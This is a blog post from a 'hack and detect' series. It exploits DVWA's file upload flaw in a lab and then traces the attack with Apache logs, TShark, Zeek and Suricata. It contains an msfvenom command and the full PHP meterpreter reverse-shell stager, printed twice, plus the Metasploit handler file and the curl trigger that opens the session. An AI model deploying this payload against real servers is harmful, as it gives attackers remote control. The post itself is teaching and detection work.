Tuesday, December 12, 2023

Beginning Nikto - File Upload Vulnerability testing

This post is part of the series of learning more about Nikto and web application scanning from the perspectives of both the hack and its detection

From the hacking perspective, Nikto is the tool used. From detection perspective, the tools and or processed used for the network forensics are log analysis, TShark, Zeek and Suricata. 


The Hack - Beginning Nikto - File Upload Vulnerability testing

Trying a different scan by providing the entire URL

┌──(kali㉿securitynik)-[~/nikto_stuff/tuning_0]
└─$ nikto -host http://10.0.0.106/dvwa/vulnerabilities/upload/ -ipv4 -Display 1 --ask no - -nossl -no404 -Tuning 0  

Nothing much changed from what you saw in the earlier posts. Manually performing the exploit.

In this case, I'm transitioning to the manual exploitation of the file Upload vulnerability.

Visit the file upload page within DVWA.














Open the browser "Web Developer Tools" and select the "Network" tab. 

Upload the file via the web application and we see the file successfully uploaded.








The upload also confirms the location the file was uploaded to "./../hackable/uploads/hack_and_detect.png succesfully uploaded!". This looks like two directories down from the current directory.

Revisiting the "Web Developer Tools", extracting a few lines of interest. First from the request:

Headers tab:
	** 
	scheme: http
	host: 10.0.0.106
	filename: /dvwa/vulnerabilities/upload/


Request tab:
	-----------------------------12554550258851086011705289877
	Content-Disposition: form-data; name="MAX_FILE_SIZE"

	100000
	-----------------------------12554550258851086011705289877
	Content-Disposition: form-data; name="uploaded"; filename="hack_and_detect.png"
	Content-Type: image/png

	‰PNG
	
	...
	0çJ3ÄÉæ}›6œý×
	...
	-----------------------------12554550258851086011705289877
	Content-Disposition: form-data; name="Upload"

	Upload
	-----------------------------12554550258851086011705289877--


Looking at "Response" tab:

../../hackable/uploads/hack_and_detect.png succesfully uploaded!

With this in place, can we use curl to get this file?

┌──(kali㉿securitynik)-[~/file_upload]
└─$ curl --request GET "http://10.0.0.106/dvwa/hackable/uploads/hack_and_detect.png" --output /tmp/hack_and_detect.png
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 64493  100 64493    0     0  7641k      0 --:--:-- --:--:-- --:--:-- 7872k

Verify the file was downloaded and its size:

┌──(kali㉿securitynik)-[~/file_upload]
└─$ ls /tmp/hack_and_detect.png  -l
-rw-r--r-- 1 kali kali 64493 Jun 22 15:25 /tmp/hack_and_detect.png

Open the file with "feh"




















With confirmation that the file is in place, this means we may be able to upload other files.

Leveraging msfvenom to create a malicious PHP file.

┌──(kali㉿securitynik)-[/tmp]
└─$ msfvenom --payload php/meterpreter/reverse_tcp LHOST=10.0.0.108 LPORT=9999 --format raw --out malicious.php
[-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload
[-] No arch selected, selecting arch: php from the payload
No encoder specified, outputting raw payload
Payload size: 1111 bytes
Saved as: malicious.php

View the created code

┌──(kali㉿securitynik)-[/tmp]
└─$ cat malicious.php 
/*<?php /**/ error_reporting(0); $ip = '10.0.0.108'; $port = 9999; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } if (!$s_type) { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function('', $b); $suhosin_bypass(); } else { eval($b); } die();

Upload the malicious .php file, using the same process we did for the other files.

Setup a resource file using the multi-handler to load with msfconsole.

┌──(kali㉿securitynik)-[~]
└─$ cat dvwa.rc 
#File Upload Vulnerability
use exploit/multi/handler
set PAYLOAD php/meterpreter/reverse_tcp
set LHOST 10.0.0.108
set LPORT 9999
exploit

Load up the resource file with msfconsole

┌──(kali㉿securitynik)-[~]
└─$ msfconsole --quiet --resource dvwa.rc 
[*] Processing dvwa.rc for ERB directives.
resource (dvwa.rc)> use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
resource (dvwa.rc)> set PAYLOAD php/meterpreter/reverse_tcp
PAYLOAD => php/meterpreter/reverse_tcp
resource (dvwa.rc)> set LHOST 10.0.0.108
LHOST => 10.0.0.108
resource (dvwa.rc)> set LPORT 9999
LPORT => 9999
resource (dvwa.rc)> exploit
[*] Started reverse TCP handler on 10.0.0.108:9999 

Use curl to access the malicious.php file.

┌──(kali㉿securitynik)-[~]
└─$ curl --request GET http://10.0.0.106/dvwa/hackable/uploads/malicious.php

At this point, curl hangs and the MSF handler opens a session.

[*] Sending stage (39927 bytes) to 10.0.0.106
[*] Meterpreter session 1 opened (10.0.0.108:9999 -> 10.0.0.106:49786) at 2023-06-22 15:29:04 -0400

Validate we have successfully gained access to the system.

meterpreter > sysinfo 
Computer    : NIK-WIN-10
OS          : Windows NT NIK-WIN-10 10.0 build 19044 (Windows 10) AMD64
Meterpreter : php/windows

While we can do more, there is no need for this at this point. Objective achieved!

Exit Meterpreter:

meterpreter > exit -j
[*] Shutting down Meterpreter...

Transitioning to log analysis.

Detect - Log Analysis

Looking at the HTTP access.log file, there is nothing standing out here. Realistically, the only question to be asked here is if files should have been able to access from "/dvwa/hackable/uploads". Other than that, there is nothing here that stands out to me to suggest there was a problem.

10.0.0.108 - - [22/Jun/2023:15:23:33 -0400] "POST /dvwa/vulnerabilities/upload/ HTTP/1.1" 200 4061 "http://10.0.0.106/dvwa/vulnerabilities/upload/" "Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0"
10.0.0.108 - - [22/Jun/2023:15:24:42 -0400] "GET /dvwa//hackable/uploads/hack_and_detect.png HTTP/1.1" 200 64493 "-" "curl/7.88.1"
10.0.0.108 - - [22/Jun/2023:15:26:45 -0400] "POST /dvwa/vulnerabilities/upload/ HTTP/1.1" 200 4055 "http://10.0.0.106/dvwa/vulnerabilities/upload/" "Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0"
10.0.0.108 - - [22/Jun/2023:15:28:29 -0400] "GET /dvwa/hackable/uploads/malicious.php HTTP/1.1" 200 2 "-" "curl/7.88.1"

Transitioning to packet analysis

Detect - Packet Analysis

Setup for packet analysis. Capture packets on ports 80,443 or 9999

┌──(kali㉿securitynik)-[~/file_upload]
└─$ tshark -n -w ./file_upload.pcap -f 'tcp port(80 or 443 or 9999)' --interface eth0                                           
Capturing on 'eth0'
 ** (tshark:213735) 14:10:39.726904 [Main MESSAGE] -- Capture started.
 ** (tshark:213735) 14:10:39.726964 [Main MESSAGE] -- File: "./file_upload.pcap"

Analyzing the PCAP. No noeed to go through the entire process. We've done a lot of the heavy lifting in the earlier posts. Hence building on what was done before.

How many unique streams/sessions do we have in this PCAP.

┌──(kali㉿securitynik)-[~/file_upload]
└─$ tshark -n -r file_upload.pcap -T fields -e tcp.stream | sort --unique | wc --lines
5

With 5 streams, we should be able to quickly analyze these. Starting with stream 0.

Looking at the first 30 lines of the reassembled TCP stream.

┌──(kali㉿securitynik)-[~/file_upload]
└─$ tshark -n -r file_upload.pcap -q -z follow,tcp,ascii,0 | head --lines=30

===================================================================
Follow: tcp,ascii
Filter: tcp.stream eq 0
Node 0: 10.0.0.108:55686
Node 1: 10.0.0.106:80
1460
POST /dvwa/vulnerabilities/upload/ HTTP/1.1
Host: 10.0.0.106
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------40506030756611040921021496595
Content-Length: 64966
Origin: http://10.0.0.106
Connection: keep-alive
Referer: http://10.0.0.106/dvwa/vulnerabilities/upload/
Cookie: security=low; PHPSESSID=i16a2p6b95up7nrnbi3foov7bf
Upgrade-Insecure-Requests: 1

-----------------------------40506030756611040921021496595
Content-Disposition: form-data; name="MAX_FILE_SIZE"

100000
-----------------------------40506030756611040921021496595
Content-Disposition: form-data; name="uploaded"; filename="hack_and_detect.png"
Content-Type: image/png

.PNG

We see above, the file which was uploaded have a name of "hack_and_detect.png" and it's a .PNG image file as can be seen from "Content-Type: image/png".

Was this file upload successful? Looking for any report of the file name being successfully uploaded.

┌──(kali㉿securitynik)-[~/file_upload]
└─$ tshark -n -r file_upload.pcap -q -z follow,tcp,ascii,0 | grep "hack_and_detect"
Content-Disposition: form-data; name="uploaded"; filename="hack_and_detect.png"
..<pre>../../hackable/uploads/hack_and_detect.png succesfully uploaded!</pre>

Let's see what is in stream 1.

┌──(kali㉿securitynik)-[~/file_upload]
└─$ tshark -n -r file_upload.pcap -q -z follow,tcp,ascii,1 | head --lines=25

===================================================================
Follow: tcp,ascii
Filter: tcp.stream eq 1
Node 0: 10.0.0.108:55814
Node 1: 10.0.0.106:80
116
GET /dvwa//hackable/uploads/hack_and_detect.png HTTP/1.1
Host: 10.0.0.106
User-Agent: curl/7.88.1
Accept: */*


        1460
HTTP/1.1 200 OK
Date: Thu, 22 Jun 2023 19:24:42 GMT
Server: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.0.28
Last-Modified: Thu, 22 Jun 2023 19:23:33 GMT
ETag: "fbed-5febcd1f850e8"
Accept-Ranges: bytes
Content-Length: 64493
Content-Type: image/png

.PNG

Above looks like a request was made for the same image, which was previously uploaded.

Looking at stream 2

┌──(kali㉿securitynik)-[~/file_upload]
└─$ tshark -n -r file_upload.pcap -q -z follow,tcp,ascii,2 | head --lines=33

===================================================================
Follow: tcp,ascii
Filter: tcp.stream eq 2
Node 0: 10.0.0.108:47986
Node 1: 10.0.0.106:80
1460
POST /dvwa/vulnerabilities/upload/ HTTP/1.1
Host: 10.0.0.106
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------3215483674970812347988844840
Content-Length: 1582
Origin: http://10.0.0.106
Connection: keep-alive
Referer: http://10.0.0.106/dvwa/vulnerabilities/upload/
Cookie: security=low; PHPSESSID=i16a2p6b95up7nrnbi3foov7bf
Upgrade-Insecure-Requests: 1

-----------------------------3215483674970812347988844840
Content-Disposition: form-data; name="MAX_FILE_SIZE"

100000
-----------------------------3215483674970812347988844840
Content-Disposition: form-data; name="uploaded"; filename="malicious.php"
Content-Type: application/x-php

/*<?php /**/ error_reporting(0); $ip = '10.0.0.108'; $port = 9999; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } if (!$s_type) { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_ty
752
pe) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function('', $b); $suhosin_bypass(); } else { eval($b); } die();
-----------------------------3215483674970812347988844840

There we see a php file was uploaded. Was the upload successful?

┌──(kali㉿securitynik)-[~/file_upload]
└─$ tshark -n -r file_upload.pcap -q -z follow,tcp,ascii,2 | grep "malicious.php"
Content-Disposition: form-data; name="uploaded"; filename="malicious.php"
..<pre>../../hackable/uploads/malicious.php succesfully uploaded!</pre>

Yes it was. Moving on to stream 3.

┌──(kali㉿securitynik)-[~/file_upload]
└─$ tshark -n -r file_upload.pcap -q -z follow,tcp,ascii,3 

===================================================================
Follow: tcp,ascii
Filter: tcp.stream eq 3
Node 0: 10.0.0.108:33048
Node 1: 10.0.0.106:80
109
GET /dvwa/hackable/uploads/malicious.php HTTP/1.1
Host: 10.0.0.106
User-Agent: curl/7.88.1
Accept: */*


        214
HTTP/1.1 200 OK
Date: Thu, 22 Jun 2023 19:28:29 GMT
Server: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.0.28
X-Powered-By: PHP/8.0.28
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

2
/*

        5
0


===================================================================

Stream 3 seems to be just the request for the malicious.php file using curl but not much details in side the response. Very interesting.

Looking at stream 4.

┌──(kali㉿securitynik)-[~/file_upload]
└─$ tshark -n -r file_upload.pcap -q -z follow,tcp,ascii,4 | more                                                                    

===================================================================
Follow: tcp,ascii
Filter: tcp.stream eq 4
Node 0: 10.0.0.106:49786
Node 1: 10.0.0.108:9999
        4
....
        1460
/*<?php /**/





if (!isset($GLOBALS['channels'])) {
  $GLOBALS['channels'] = array();
}
....

We see something here to do with .php. Looking further in the payload we ultimately see.

┌──(kali㉿securitynik)-[~/file_upload]
└─$ tshark -n -r file_upload.pcap -q -z follow,tcp,ascii,4 | grep meter
my_print("Evaling main meterpreter stage");

That's a big clue that we have a real problem here on port 9999.

At this point, we know there are a number of files within these HTTP sessions. Fortunately, TShark can extract content from HTTP so we don't have to manually attempt to carve any of these. Let's extract those files with TShark.

Looking at the help, we see the TShark --export-objects usage.

┌──(kali㉿securitynik)-[~/file_upload]
└─$ tshark --export-objects --help 
tshark: "--export-objects" are specified as: <protocol>,<destdir>
tshark: The available export object types for the "--export-objects" option are:
     dicom
     ftp-data
     http
     imf
     smb
     tftp

Exporting from HTTP.

┌──(kali㉿securitynik)-[~/file_upload]
└─$ tshark -n -r file_upload.pcap -q --export-objects http,./exported-contents/

Looking at the exported contents we see:

┌──(kali㉿securitynik)-[~/file_upload]
└─$ ls -l exported-contents/
total 144
-rw-r--r-- 1 kali kali 64493 Jun 23 08:31  hack_and_detect.png
-rw-r--r-- 1 kali kali     2 Jun 23 08:31  malicious.php
-rw-r--r-- 1 kali kali 64966 Jun 23 08:31  upload
-rw-r--r-- 1 kali kali  4061 Jun 23 08:31 'upload(1)'
-rw-r--r-- 1 kali kali  1582 Jun 23 08:31 'upload(2)'
-rw-r--r-- 1 kali kali  4055 Jun 23 08:31 'upload(3)'

Confirming the files using the file command.

┌──(kali㉿securitynik)-[~/file_upload]
└─$ file exported-contents/*
exported-contents/hack_and_detect.png: PNG image data, 178 x 127, 8-bit/color RGBA, non-interlaced
exported-contents/malicious.php:       ASCII text, with no line terminators
exported-contents/upload:              data
exported-contents/upload(1):           HTML document, ASCII text, with very long lines (472), with CRLF, LF line terminators
exported-contents/upload(2):           ASCII text, with very long lines (1111), with CRLF line terminators
exported-contents/upload(3):           HTML document, ASCII text, with very long lines (472), with CRLF, LF line terminators

At this point, you can analyze the file as needed. I will transition to Zeek to see what is saw.

Detect - Zeek Analysis

Setup Zeek

┌──(kali㉿securitynik)-[~/nikto_stuff/zeek_stuff]
└─$ sudo zeek --iface any --no-checksums

Focusing on the indicators of compromise, "hack_and_detect.png" and "malicious.php". First "hack_and_detect.png"

└─$ cat http.log | grep --perl-regexp "hack_and_detect"                                                                              
1687461839.117382       CcgONKdzshQp8ZH68       10.0.0.108      55686   10.0.0.106      80      1       POST    10.0.0.106      /dvwa/vulnerabilities/upload/        http://10.0.0.106/dvwa/vulnerabilities/upload/  1.1     Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0       http://10.0.0.106       64966   4061    200     OK      -       -       (empty) -       -       -   F8D5nXnU24QCFs3ni,FL8pyG3KgVYBxGp5J8,FjahXg2bW4MO7TWJok  hack_and_detect.png     image/png       Fr5Uwyf1md9rma0F1       -       text/html
1687461900.287690       Ca15Kb1F57kcgJCx8j      10.0.0.108      55814   10.0.0.106      80      1       GET     10.0.0.106      /dvwa//hackable/uploads/hack_and_detect.png  -       1.1     curl/7.88.1     -       0       64493   200     OK      -       -       (empty)      -       -       -       -       -       -       FRXytH1roWzznSMp5d      -       image/png

Looking at malicious.php.

┌──(kali㉿securitynik)-[~/file_upload]                                                                                  
└─$ cat http.log | grep --perl-regexp "malicious.php"
1687462020.720561       C9k6p6FxgHAgjfjGa       10.0.0.108      47986   10.0.0.106      80      1       POST    10.0.0.106      /dvwa/vulnerabilities/upload/   http://10.0.0.106/dvwa/vulnerabilities/upload/    1.1     Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0  http://10.0.0.106       1582    4055    200     OK      -       -       (empty) -       -       -       FbKoDB2gXDz6wz2Z74,F3m3sc1e7ZmJMAs5Cc,FVC9nG4cwHcT19LmOa  malicious.php   text/x-php      Fnwwck3gnEGZ79OWy1      -       text/html
1687462143.814819       CwNOXb1eZ6LvtPEI96      10.0.0.108      33048   10.0.0.106      80      1       GET     10.0.0.106      /dvwa/hackable/uploads/malicious.php    -       1.1     curl/7.88.1     -02       200     OK      -       -       (empty) -       -       -       -       -       -       FVkDFy3Q20vdj9aPCk      -       -

Looking across the various logs for the UID "C9k6p6FxgHAgjfjGa" and removing the files with 0 bytes, we get

┌──(kali㉿securitynik)-[~/file_upload]
└─$ grep "C9k6p6FxgHAgjfjGa" *.log | grep --perl-regexp "1111|4055"                                                                                                                                                                                                                                       
files.log:1687462020.720573     F3m3sc1e7ZmJMAs5Cc      C9k6p6FxgHAgjfjGa       10.0.0.108      47986   10.0.0.106      80      HTTP    0       (empty) text/x-php      malicious.php   0.000000        -       T       1111    -       0       0       F       -       -       -       -       -       --
files.log:1687462020.751930     Fnwwck3gnEGZ79OWy1      C9k6p6FxgHAgjfjGa       10.0.0.108      47986   10.0.0.106      80      HTTP    0       (empty) text/html       -       0.000001        -       F       4055    4055    0       0       F       -       -       -       -       -       -       -
http.log:1687462020.720561      C9k6p6FxgHAgjfjGa       10.0.0.108      47986   10.0.0.106      80      1       POST    10.0.0.106      /dvwa/vulnerabilities/upload/   http://10.0.0.106/dvwa/vulnerabilities/upload/  1.1     Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0  http://10.0.0.106 1582    4055    200     OK      -       -       (empty) -       -       -       FbKoDB2gXDz6wz2Z74,F3m3sc1e7ZmJMAs5Cc,FVC9nG4cwHcT19LmOa        malicious.php   text/x-php      Fnwwck3gnEGZ79OWy1      -       text/html

Obviously, there are entries in the conn.log file. However, the objective is to keep things simple for this analysis.

Moving on the the IDS/IPS.

Detect - Suricata (IDS) Analysis

Setup Suricata to operate in IDS mode

┌──(kali㉿securitynik)-[/var/log/suricata]
└─$ sudo suricata -c /etc/suricata/suricata.yaml -s /var/lib/suricata/rules/suricata.rules -i eth0 -l /var/log/suricata/ --simulate-ips -k all

How many alerts triggered for this activity?

┌──(kali㉿securitynik)-[/var/log/suricata]                                                                              └─$ cat fast.log | grep --perl-regexp '\[\*\*\].*?\[\**\]' --only-matching | wc --lines
1    

Hmmm! One alert! Interesting!!

┌──(kali㉿securitynik)-[/var/log/suricata]
└─$ cat fast.log 
06/22/2023-15:27:00.720561  [**] [1:2011768:8] ET WEB_SERVER PHP tags in HTTP POST [**] [Classification: Web Application Attack] [Priority: 1] {TCP} 10.0.0.108:47986 -> 10.0.0.106:80

Looking at the alert-debug.log file

┌──(kali㉿securitynik)-[/var/log/suricata]
└─$ cat alert-debug.log | more                                                                                                                      
+================
TIME:              06/22/2023-15:27:00.720561
PKT SRC:           wire/pcap
SRC IP:            10.0.0.108
DST IP:            10.0.0.106
PROTO:             6
SRC PORT:          47986
DST PORT:          80
TCP SEQ:           2986100032
TCP ACK:           2432827111
FLOW:              to_server: TRUE, to_client: FALSE
FLOW Start TS:     06/22/2023-15:27:00.719233
FLOW PKTS TODST:   3
FLOW PKTS TOSRC:   1
FLOW Total Bytes:  1708
FLOW IPONLY SET:   TOSERVER: TRUE, TOCLIENT: TRUE
FLOW ACTION:       DROP: FALSE
FLOW NOINSPECTION: PACKET: FALSE, PAYLOAD: FALSE, APP_LAYER: FALSE
FLOW APP_LAYER:    DETECTED: TRUE, PROTO 1
PACKET LEN:        1514
PACKET:
...

We can see that this ties in above with the other network based traffic, especially when we focus on TCP port 47986.

Peeking a bit more into this php traffic.

┌──(kali㉿securitynik)-[/var/log/suricata]
└─$ cat alert-debug.log | grep ".php"
 03C0  63 61 74 69 6F 6E 2F 78  2D 70 68 70 0D 0A 0D 0A   cation/x -php....
 03D0  2F 2A 3C 3F 70 68 70 20  2F 2A 2A 2F 20 65 72 72   /*<?php  /**/ err
 0370  2E 70 68 70 22 0D 0A 43  6F 6E 74 65 6E 74 2D 54   .php"..C ontent-T
 0390  2F 78 2D 70 68 70 0D 0A  0D 0A 2F 2A 3C 3F 70 68   /x-php.. ../*<?ph
 0370  2E 70 68 70 22 0D 0A 43  6F 6E 74 65 6E 74 2D 54   .php"..C ontent-T
 0390  2F 78 2D 70 68 70 0D 0A  0D 0A 2F 2A 3C 3F 70 68   /x-php.. ../*<?ph

Well I'm going to close off for now.

Hope you enjoyed the posts in this series:


References:

No comments:

Post a Comment